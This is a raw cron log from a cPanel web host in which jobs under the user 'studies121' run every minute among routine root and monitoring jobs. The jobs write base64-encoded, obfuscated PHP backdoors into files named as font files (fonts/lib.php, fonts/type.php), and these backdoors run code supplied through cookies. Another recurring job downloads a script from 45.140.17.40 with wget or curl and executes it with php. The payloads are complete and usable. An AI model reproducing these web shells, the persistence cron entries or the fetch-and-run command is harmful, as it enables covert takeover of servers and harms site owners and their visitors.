Feb 22 22:09:01 ip-184-168-122-23 CROND[18622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:09:01 ip-184-168-122-23 CROND[18623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:09:01 ip-184-168-122-23 CROND[18624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:09:01 ip-184-168-122-23 CROND[18626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:09:01 ip-184-168-122-23 CROND[18627]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 22:10:01 ip-184-168-122-23 CROND[18971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:10:01 ip-184-168-122-23 CROND[18969]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 22:10:01 ip-184-168-122-23 CROND[18972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:10:01 ip-184-168-122-23 CROND[18976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:10:01 ip-184-168-122-23 CROND[18982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:10:01 ip-184-168-122-23 CROND[18979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:10:01 ip-184-168-122-23 CROND[18981]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:10:01 ip-184-168-122-23 CROND[18978]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:11:01 ip-184-168-122-23 CROND[19319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:11:01 ip-184-168-122-23 CROND[19320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:11:01 ip-184-168-122-23 CROND[19322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:11:01 ip-184-168-122-23 CROND[19323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:12:01 ip-184-168-122-23 CROND[19645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:12:01 ip-184-168-122-23 CROND[19644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:12:01 ip-184-168-122-23 CROND[19647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:12:01 ip-184-168-122-23 CROND[19646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:12:01 ip-184-168-122-23 CROND[19652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:13:01 ip-184-168-122-23 CROND[19970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:13:01 ip-184-168-122-23 CROND[19971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:13:01 ip-184-168-122-23 CROND[19973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:13:01 ip-184-168-122-23 CROND[19977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:14:01 ip-184-168-122-23 CROND[20296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:14:01 ip-184-168-122-23 CROND[20298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:14:01 ip-184-168-122-23 CROND[20299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:14:01 ip-184-168-122-23 CROND[20300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:14:01 ip-184-168-122-23 CROND[20301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:15:01 ip-184-168-122-23 CROND[20717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:15:01 ip-184-168-122-23 CROND[20719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:15:01 ip-184-168-122-23 CROND[20722]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:15:01 ip-184-168-122-23 CROND[20723]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 22:15:01 ip-184-168-122-23 CROND[20720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:15:01 ip-184-168-122-23 CROND[20721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:15:01 ip-184-168-122-23 CROND[20724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:16:01 ip-184-168-122-23 CROND[21063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:16:01 ip-184-168-122-23 CROND[21067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:16:01 ip-184-168-122-23 CROND[21065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:16:01 ip-184-168-122-23 CROND[21066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:16:01 ip-184-168-122-23 CROND[21068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:16:01 ip-184-168-122-23 CROND[21069]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 22:17:01 ip-184-168-122-23 CROND[21403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:17:01 ip-184-168-122-23 CROND[21407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:17:01 ip-184-168-122-23 CROND[21410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:17:01 ip-184-168-122-23 CROND[21412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:18:01 ip-184-168-122-23 CROND[21746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:18:01 ip-184-168-122-23 CROND[21748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:18:01 ip-184-168-122-23 CROND[21750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:18:01 ip-184-168-122-23 CROND[21749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:18:01 ip-184-168-122-23 CROND[21751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:19:01 ip-184-168-122-23 CROND[22096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:19:01 ip-184-168-122-23 CROND[22097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:19:01 ip-184-168-122-23 CROND[22099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:19:01 ip-184-168-122-23 CROND[22102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:20:01 ip-184-168-122-23 CROND[22418]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 22:20:01 ip-184-168-122-23 CROND[22419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 22:20:01 ip-184-168-122-23 CROND[22422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 22:20:01 ip-184-168-122-23 CROND[22426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 22:20:01 ip-184-168-122-23 CROND[22423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 22:20:01 ip-184-168-122-23 CROND[22424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 22:20:01 ip-184-168-122-23 CROND[22428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 22:20:01 ip-184-168-122-23 CROND[22427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 22:20:01 ip-184-168-122-23 CROND[22425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 22:21:01 ip-184-168-122-23 CROND[22851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
